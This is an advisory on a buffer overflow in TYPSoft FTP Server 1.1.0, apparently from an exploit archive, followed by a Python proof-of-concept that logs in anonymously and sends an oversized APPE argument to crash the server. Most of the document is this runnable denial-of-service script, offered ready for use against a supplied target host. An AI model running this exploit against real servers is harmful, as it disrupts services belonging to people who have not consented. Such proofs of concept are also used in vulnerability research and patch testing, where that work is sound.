TYPSoft FTP Server is prone to a buffer-overflow vulnerability.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

TYPSoft FTP Server 1.1.0 is vulnerable; other versions may also be affected.

#!/usr/bin/python

import socket, sys

if len(sys.argv)!= 2:

print '\n\t[*] Usage: ./' + sys.argv[0] + ' <target host>'

sys.exit(1)

print '\n\t[*] TypesoftFTP Server 1.1 Remote DoS (APPE) by Brock Haun'

host = sys.argv[1]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = 'A../' + '\x41' *100

print '\n\t[*] Sending crash buffer ("A../ + \x41 * 100").'

s.connect((host,21))

data = s.recv(1024)

s.send('USER anonymous' + '\r\n')

data = s.recv(1024)

s.send('PASS anonymous' + '\r\n')

data = s.recv(1024)

s.send('APPE ' + buffer + '\r\n')

print '\n\t[*] Done! Target should be unresponsive!'

s.close()
